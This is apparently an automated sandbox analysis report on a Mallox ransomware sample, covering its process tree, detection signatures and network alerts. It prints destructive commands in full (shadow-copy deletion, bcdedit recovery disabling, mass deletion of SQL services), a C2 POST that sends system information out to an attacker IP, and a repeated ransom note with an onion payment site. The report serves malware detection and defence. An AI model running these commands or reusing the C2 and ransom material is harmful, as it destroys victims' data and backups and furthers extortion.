Edit tour

Windows Analysis Report
_145.exe

Overview

General Information

Sample Name:	_145.exe
Analysis ID:	1337854
MD5:	b54d7da0fe6869006ffd3b9b470f0dc4
SHA1:	5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256:	df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f
Tags:	exemalloxransomware
Infos:

Detection

Targeted Ransomware, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Targeted Ransomware

Multi AV Scanner detection for submitted file

Yara detected TrojanRansom

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected RansomwareGeneric

Snort IDS alert for network traffic

Creates files in the recycle bin to hide itself

Uses bcdedit to modify the Windows boot settings

May disable shadow drive data (uses vssadmin)

Writes many files with high entropy

Writes a notice file (html or txt) to demand a ransom

Deletes shadow drive data (may be related to ransomware)

Opens network shares

May use bcdedit to modify the Windows boot settings

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Searches for user specific document files

Contains long sleeps (>= 3 min)

May check the online IP address of the machine

Abnormal high CPU Usage

Enables debug privileges

Installs a raw input device (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Checks for available system drives (often done to infect USB drives)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

_145.exe (PID: 5700 cmdline: C:\Users\user\Desktop\_145.exe MD5: B54D7DA0FE6869006FFD3B9B470F0DC4)

vssadmin.exe (PID: 4956 cmdline: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5720 cmdline: "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4612 cmdline: sc delete "MSSQLFDLauncher" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 1396 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1972 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

notepad.exe (PID: 3112 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: _145.exe PID: 5700	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: _145.exe PID: 5700	JoeSecurity_TargetedRansomware	Yara detected Targeted Ransomware	Joe Security
Process Memory Space: _145.exe PID: 5700	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security

Snort Signatures

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249719802039815 11/06/23-19:44:32.807981
SID:	2039815
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249721802039815 11/06/23-19:44:35.420553
SID:	2039815
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249715802039815 11/06/23-19:44:31.537853
SID:	2039815
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249720802039815 11/06/23-19:44:34.123034
SID:	2039815
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249722802039815 11/06/23-19:44:36.871461
SID:	2039815
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249711802039815 11/06/23-19:44:28.316418
SID:	2039815
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.OJC CnC Checkin - Source IP: 192.168.2.5 - Destination IP: 91.215.85.142

Timestamp:	192.168.2.591.215.85.14249713802039815 11/06/23-19:44:30.057662
SID:	2039815
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 165Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 34 39 39 33 38 30 39 45 43 38 35 41 42 35 31 34 31 41 41 30 44 42 33 46 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 45 6e 74 65 72 70 72 69 73 65 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 35 36 2e 31 34 36 2e 34 39 2e 31 36 38 2c 25 32 30 36 34 38 33 35 31 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 35 37 34 Data Ascii: user=panda&TargetID=4993809EC85AB5141AA0DB3F&SystemInformation=Windows%2010%20Enterprise%20x64,%20CH,%20156.146.49.168,%20648351&max_size_of_file=0.0&size_of_hdd=574

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache

Source: _145.exe, 00000000.00000003.2610480315.0000000004F1E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WCE47~1.AU3_WinAPI_RegisterRawInputDevices.au3

Spam, unwanted Advertisements and Ransom Demands

Yara detected Targeted Ransomware

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

Yara detected TrojanRansom

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

Yara detected RansomwareGeneric

Source: Yara match

File source: Process Memory Space: _145.exe PID: 5700, type: MEMORYSTR

May disable shadow drive data (uses vssadmin)

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet

Writes many files with high entropy

Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D4AAED77-3A86-4390-8A8C-B5376696441B entropy: 7.9978765475
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AA3DCC85-1029-4D9F-A8D2-CD0AE28D4CCD entropy: 7.99755440479
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml entropy: 7.99947840966
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml entropy: 7.99424683429
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml entropy: 7.99367375082
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml entropy: 7.99930551022
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.gz entropy: 7.99877023877	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz entropy: 7.99851764672	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip entropy: 7.99791482265	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip entropy: 7.99751375815	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip entropy: 7.99217986455	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip entropy: 7.99815024276	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.map.gz entropy: 7.99956046235	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\taskpane.js.gz entropy: 7.9996621784	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.map.gz entropy: 7.99802988342	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000109\dist\vendor.js.gz entropy: 7.9957015754	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.map.gz entropy: 7.99979205069	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz entropy: 7.9997236662	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpanev2.js.map.gz entropy: 7.99950798732	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.map.gz entropy: 7.99943860489	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\vendor.js.gz entropy: 7.99937837542	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz entropy: 7.99910644885	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\EFI\Microsoft\Recovery\BCD entropy: 7.99071401222	Jump to dropped file
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat entropy: 7.9967880877
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst entropy: 7.99901582661
Source: C:\Users\user\Desktop\_145.exe	File created: C:\Recovery\WindowsRE\Winre.wim entropy: 7.99978803217
Source: C:\Users\user\Desktop\_145.exe	File created: C:\EFI\Microsoft\Recovery\BCD.LOG entropy: 7.99531741182	Jump to dropped file

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\Temp\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetHistory\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCookies\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\AC\INetCache\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\TempState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\SystemAppData\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\RoamingState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta
Source: C:\Users\user\Desktop\_145.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\LocalState\HOW TO BACK FILES.txt -> decryption toolfollow the instructions to decrypt all your datado not try to change or restore files yourself, this will break themif you want, on our site you can decrypt one file for free. free test decryption allowed only for not valuable file with size less than 3mbhow to get decryption tool:1) download and install tor browser by this link: https://www.torproject.org/download/2) if tor blocked in your country and you can't access to the link then use any vpn software3) run tor browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privatesignin4) copy your private id in the input field. your private key: 4993809ec85ab5141aa0db3f5) you will see payment information and we can make free test decryption here6)after payment, you will receive a tool for decrypting files, and we will delete the data that was taken from youour blog of leaked companies:wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onionif you are unable to conta

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\_145.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: _145.exe, 00000000.00000003.2063471449.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2064147890.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000000.2043016948.0000000000E72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: 0.%d%duser=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%dPOST%s\|%s\|%s\|%dSOFTWARE\RaccineSYSTEM\CurrentControlSet\Services\EventLog\Application\RaccineSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exeSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe-lr-d-p-path-queueC:\C:\HOW TO RECOVER !!.TXT\sysnative\vssadmin.exe delete shadows /all /quietopen89A72EF01PowrProf.dllPowerSetActiveSchemeSeTakeOwnershipPrivilegeSeDebugPrivilegeNtQueryObjectntdll.dlluser32.dllShutdownBlockReasonCreatewindowDo NOT shutdown OR reboot your PC: this might damage your files permanently !valueSOFTWARE\Microsoft\PolicyManager\default\Start\HideShutDownSOFTWARE\Microsoft\PolicyManager\default\Start\HideRestartSOFTWARE\Microsoft\PolicyManager\default\Start\HideSignOutshutdownwithoutlogonSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemMaxConnectionTimeSOFTWARE\Policies\Microsoft\Windows NT\Terminal ServicesMaxDisconnectionTimeMaxIdleTimevector too longNtQuerySystemInformation\AES-128-ECBAES-192-ECBAES-256-ECBAES-128-CBCAES-192-CBCAES-256-CBCAES-128-CFB128AES-192-CFB128AES-256-CFB128AES-128-OFBAES-192-OFBAES-256-OFBAES-128-CTRAES-192-CTRAES-256-CTRAES-128-XTSAES-256-XTSAES-128-GCMAES-192-GCMAES-256-GCMAES-128-CCMAES-192-CCMAES-256-CCMAES-128-CCM-NO-TAGAES-192-CCM-NO-TAGAES-256-CCM-NO-TAGCAMELLIA-128-ECBCAMELLIA-192-ECBCAMELLIA-256-ECBCAMELLIA-128-CBCCAMELLIA-192-CBCCAMELLIA-256-CBCCAMELLIA-128-CFB128CAMELLIA-192-CFB128CAMELLIA-256-CFB128CAMELLIA-128-CTRCAMELLIA-192-CTRCAMELLIA-256-CTRCAMELLIA-128-GCMCAMELLIA-192-GCMCAMELLIA-256-GCMCAMELLIA-128-CCMCAMELLIA-192-CCMCAMELLIA-256-CCMCAMELLIA-128-CCM-NO-TAGCAMELLIA-192-CCM-NO-TAGCAMELLIA-256-CCM-NO-TAGARIA-128-ECBARIA-192-ECBARIA-256-ECBARIA-128-CBCARIA-192-CBCARIA-256-CBCARIA-128-CFB128ARIA-192-CFB128ARIA-256-CFB128ARIA-128-CTRARIA-192-CTRARIA-256-CTRARIA-128-GCMARIA-192-GCMARIA-256-GCMARIA-128-CCMARIA-192-CCMARIA-256-CCMARIA-128-CCM-NO-TAGARIA-192-CCM-NO-TAGARIA-256-CCM-NO-TAGDES-ECBDES-CBCDES-EDE-ECBDES-EDE-CBCDES-EDE3-ECBDES-EDE3-CBCCHACHA20CHACHA20-POLY1305AES-128-KWAES-192-KWAES-256-KWAES-128-KWPAES-192-KWPAES-256-KWPMD5RIPEMD160SHA1SHA224SHA256SHA384SHA512
Source: _145.exe, 00000000.00000003.2064450947.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: _145.exe, 00000000.00000003.2065619258.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietd;)G
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quietC:\Windows\sysnative\vssadmin.exeWinsta0\Default
Source: vssadmin.exe, 00000003.00000002.2074222049.000001ECEB8A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: vssadmin.exe, 00000003.00000002.2074363626.000001ECEBA85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\sysnative\vssadmin.exedeleteshadows/all/quiet:
